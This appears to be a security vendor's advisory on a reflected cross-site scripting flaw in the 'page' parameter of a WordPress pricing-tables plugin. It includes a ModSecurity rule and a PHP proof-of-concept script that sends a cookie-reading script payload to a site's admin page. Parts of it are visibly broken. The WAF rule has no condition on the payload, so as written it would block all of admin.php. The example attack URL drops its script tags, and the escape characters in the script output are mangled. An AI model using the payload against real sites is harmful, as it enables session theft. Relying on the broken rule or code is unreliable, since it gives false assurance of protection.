Atomic Edge analysis of CVE-2026-6808 (metadata-based): This is a Reflected Cross-Site Scripting (XSS) vulnerability in the “Pricing Tables for WP” plugin, versions 1.1.0 and earlier. An unauthenticated attacker can inject arbitrary web scripts via the ‘page’ parameter. The vulnerability has a CVSS score of 6.1 (Medium) due to the requirement for user interaction (a victim administrator clicking a crafted link). Atomic Edge research confirms this is a classic reflected XSS vulnerability arising from unsanitized input reflected directly in an admin page output.
The root cause is insufficient input sanitization and output escaping on the ‘page’ parameter. The plugin likely reads the ‘page’ parameter from a GET request and prints its value directly into the HTML of a WordPress admin page, without using esc_attr() or wp_unslash() with sanitize_text_field(). This conclusion is inferred from the CWE-79 classification and the vulnerability description. No code diff is available to confirm the exact file or function.
Exploitation requires tricking an authenticated administrator into clicking a crafted link. The attacker crafts a malicious URL like /wp-admin/admin.php?page=alert(‘XSS’) and delivers it to the target via email or social engineering. When the administrator clicks the link while logged into WordPress, the injected script executes in the admin context, allowing the attacker to perform actions like creating rogue admin accounts or stealing session cookies. The ‘page’ parameter is commonly used in WordPress admin pages to specify the plugin settings page.
Remediation requires the plugin to properly escape the ‘page’ output using WordPress’s esc_attr() function before printing it into the HTML. The plugin should also sanitize the input using sanitize_text_field() or similar. Since no patched version is available, administrators must deactivate and remove the plugin immediately.
Successful exploitation can lead to full administrative compromise of the WordPress site. An attacker can steal session cookies, create new administrator accounts, install malicious plugins, deface the site, or redirect visitors to external malicious sites.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6808 (metadata-based)
# Blocks reflected XSS via 'page' parameter in admin.php targeting Pricing Tables plugin
SecRule REQUEST_URI "@streq /wp-admin/admin.php"
"id:20266808,phase:1,t:urlDecode,t:lowercase,deny,status:403,msg:'CVE-2026-6808 reflected XSS via page parameter (Pricing Tables for WP)',severity:'CRITICAL',tag:'CVE-2026-6808',tag:'wordpress',tag:'xss'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6808 - Pricing Tables for WP <= 1.1.0 - Reflected Cross-Site Scripting via 'page' Parameter
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress installation URL
// XSS payload
$payload = urlencode('<script>alert(document.cookie)</script>');
// Construct the malicious URL
// The 'page' parameter is reflected without sanitization in admin pages
$vuln_url = $target_url . '/wp-admin/admin.php?page=' . $payload . '&other_param=test';
echo "[+] Sending XSS exploit to target...n";
echo "[+] URL: $vuln_urln";
// Initialize cURL
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $vuln_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
// Note: This PoC does not include admin authentication cookies.
// For a real attack, the attacker must deliver the crafted URL to an already-logged-in admin.
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo "[!] Error: " . curl_error($ch) . "n";
} else {
// Check if payload appears in response to confirm reflection
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[+] HTTP Status: $http_coden";
if (strpos($response, '<script>alert(document.cookie)</script>') !== false) {
echo "[+] Vulnerability confirmed! Payload reflected in response.n";
} else {
echo "[-] Payload not directly reflected. Manual verification recommended.n";
}
}
curl_close($ch);
?>
